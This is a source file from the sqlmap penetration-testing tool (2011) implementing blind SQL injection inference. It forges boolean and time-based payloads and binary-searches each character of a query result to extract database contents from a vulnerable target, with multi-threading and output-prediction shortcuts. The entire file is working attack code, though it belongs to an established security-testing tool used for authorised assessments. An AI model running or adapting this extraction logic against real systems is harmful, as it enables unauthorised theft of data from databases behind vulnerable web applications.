sqlmap/lib/techniques/blind/inference.py
2011-08-16 07:01:14 +00:00

536 lines
22 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import threading
import time
import traceback
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import decodeIntToUnicode
from lib.core.common import filterControlChars
from lib.core.common import getCharset
from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.common import unhandledExceptionMessage
from lib.core.convert import safecharencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapValueException
from lib.core.exception import sqlmapThreadException
from lib.core.progress import ProgressBar
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import INFERENCE_GREATER_CHAR
from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
from lib.core.settings import PYVERSION
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
partialValue = ""
finalValue = ""
asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used
kb.partRun = getPartRun() if conf.predictOutput else None
if "LENGTH(" in expression or "LEN(" in expression:
firstChar = 0
elif dump and conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit() ) ):
firstChar = int(conf.firstChar) - 1
elif firstChar is None:
firstChar = 0
elif ( isinstance(firstChar, basestring) and firstChar.isdigit() ) or isinstance(firstChar, int):
firstChar = int(firstChar) - 1
if "LENGTH(" in expression or "LEN(" in expression:
lastChar = 0
elif dump and conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit() ) ):
lastChar = int(conf.lastChar)
elif lastChar in ( None, "0" ):
lastChar = 0
elif ( isinstance(lastChar, basestring) and lastChar.isdigit() ) or isinstance(lastChar, int):
lastChar = int(lastChar)
if Backend.getDbms():
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
if lastChar > 0 and length > ( lastChar - firstChar ):
length = ( lastChar - firstChar )
showEta = conf.eta and isinstance(length, int)
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if numThreads > 1:
if not timeBasedCompare:
debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
logger.debug(debugMsg)
else:
debugMsg = "multi-threading is not considered safe in time-based data retrieval"
logger.debug(debugMsg)
numThreads = 1
if conf.threads == 1 and not timeBasedCompare:
warnMsg = "running in a single-thread mode. Please consider "
warnMsg += "usage of --threads switch for faster data retrieval"
singleTimeWarnMessage(warnMsg)
if conf.verbose in (1, 2) and not showEta:
if isinstance(length, int) and conf.threads > 1:
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
hintlock = threading.Lock()
def tryHint(idx):
hintlock.acquire()
hintValue = kb.hintValue
hintlock.release()
if hintValue is not None and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
posValue = hintValue[idx-1]
else:
posValue = ord(hintValue[idx-1])
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return hintValue[idx-1]
hintlock.acquire()
kb.hintValue = None
hintlock.release()
return None
def validateChar(idx, value):
"""
Used in time-based inference (in case that original and retrieved
value are not equal there will be a deliberate delay).
"""
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
return not result
def getChar(idx, charTbl=asciiTbl, continuousOrder=True, expand=charsetType is None):
"""
continuousOrder means that distance between each two neighbour's
numerical values is exactly 1
"""
result = tryHint(idx)
if result:
return result
originalTbl = list(charTbl)
if continuousOrder:
# Used for gradual expanding into unicode charspace
shiftTable = [5, 4]
if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
charTbl.remove(ord('\n'))
if len(charTbl) == 1:
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return decodeIntToUnicode(charTbl[0])
else:
return None
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
while len(charTbl) != 1:
position = (len(charTbl) >> 1)
posValue = charTbl[position]
if CHAR_INFERENCE_MARK not in payload:
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
else:
# e.g.: ... > '%c' -> ... > ORD(..)
markingValue = "'%s'" % CHAR_INFERENCE_MARK
unescapedCharValue = unescaper.unescape(markingValue % decodeIntToUnicode(posValue))
forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
minValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[position:]
else:
# xrange() - extended virtual charset used for memory/space optimization
charTbl = xrange(charTbl[position], charTbl[-1] + 1)
else:
maxValue = posValue
if type(charTbl) != xrange:
charTbl = charTbl[:position]
else:
charTbl = xrange(charTbl[0], charTbl[position])
if len(charTbl) == 1:
if continuousOrder:
if maxValue == 1:
return None
# Going beyond the original charset
elif minValue == maxChar:
# If the original charTbl was [0,..,127] new one
# will be [128,..,128*16-1] or from 128 to 2047
# and instead of making a HUGE list with all the
# elements we use a xrange, which is a virtual
# list
if expand and shiftTable:
charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
originalTbl = list(charTbl)
maxChar = maxValue = charTbl[-1]
minChar = minValue = charTbl[0]
else:
return None
else:
retVal = minValue + 1
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
if timeBasedCompare and not validateChar(idx, retVal):
errMsg = "invalid character detected. retrying.."
logger.error(errMsg)
if not kb.originalTimeDelay:
kb.originalTimeDelay = conf.timeSec
conf.timeSec += 1
if (conf.timeSec - kb.originalTimeDelay) <= MAX_TIME_REVALIDATION_STEPS:
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
warnMsg += "(due to invalid char)"
logger.warn(warnMsg)
if kb.adjustTimeDelay:
dbgMsg = "turning off auto-adjustment mechanism"
logger.debug(dbgMsg)
kb.adjustTimeDelay = False
return getChar(idx, originalTbl, continuousOrder, expand)
else:
errMsg = "unable to properly validate character value. using last known value ('%s').." % decodeIntToUnicode(retVal)
logger.error(errMsg)
conf.timeSec = kb.originalTimeDelay
return decodeIntToUnicode(retVal)
else:
return decodeIntToUnicode(retVal)
else:
return None
else:
if minValue == maxChar or maxValue == minChar:
return None
# If we are working with non-continuous elements, set
# both minValue and character afterwards are possible
# candidates
for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
queriesCount[0] += 1
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
if result:
return decodeIntToUnicode(retVal)
return None
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = []
threadData = getCurrentThreadData()
threadData.shared.value = [ None ] * length
threadData.shared.index = [ firstChar ] # As list for python nested function scoping
lockNames = ('iolock', 'idxlock', 'valuelock')
for lock in lockNames:
kb.locks[lock] = threading.Lock()
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.idxlock.acquire()
if threadData.shared.index[0] >= length:
kb.locks.idxlock.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.idxlock.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
kb.locks.valuelock.acquire()
threadData.shared.value[curidx-1] = val
currentValue = list(threadData.shared.value)
kb.locks.valuelock.release()
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = 0
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
kb.locks.iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
kb.locks.iolock.release()
if not kb.threadContinue:
if int(threading.currentThread().getName()) == numThreads - 1:
partialValue = unicode()
for v in threadData.shared.value:
if v is None:
break
elif isinstance(v, basestring):
partialValue += v
if len(partialValue) > 0:
dataToSessionFile(replaceNewlineTabs(partialValue))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
raise
finally:
value = threadData.shared.value
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
for v in value:
if isinstance(v, basestring) and v is not None:
partialValue += v
if partialValue:
finalValue = partialValue
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if isinstance(finalValue, basestring) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(finalValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(finalValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
queriesCount[0] += 1
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
# Did we have luck?
if result:
dataToSessionFile(replaceNewlineTabs(commonValue[index-1:]))
if showEta:
etaProgressUpdate(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2):
dataToStdout(commonValue[index-1:])
finalValue = commonValue
break
# If there is a common pattern starting with finalValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query)
queriesCount[0] += 1
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
# Did we have luck?
if result:
val = commonPattern[index-1:]
index += len(val)-1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None or ( lastChar > 0 and index > lastChar ):
break
if kb.data.processChar:
val = kb.data.processChar(val)
finalValue += val
dataToSessionFile(replaceNewlineTabs(val))
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in (1, 2):
dataToStdout(val)
if len(finalValue) > INFERENCE_BLANK_BREAK and finalValue[-INFERENCE_BLANK_BREAK:].isspace():
break
if conf.verbose in (1, 2) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if not partialValue:
dataToSessionFile("]\n")
if kb.threadException:
raise sqlmapThreadException, "something unexpected happened inside the threads"
return queriesCount[0], safecharencode(finalValue) if kb.safeCharEncode else finalValue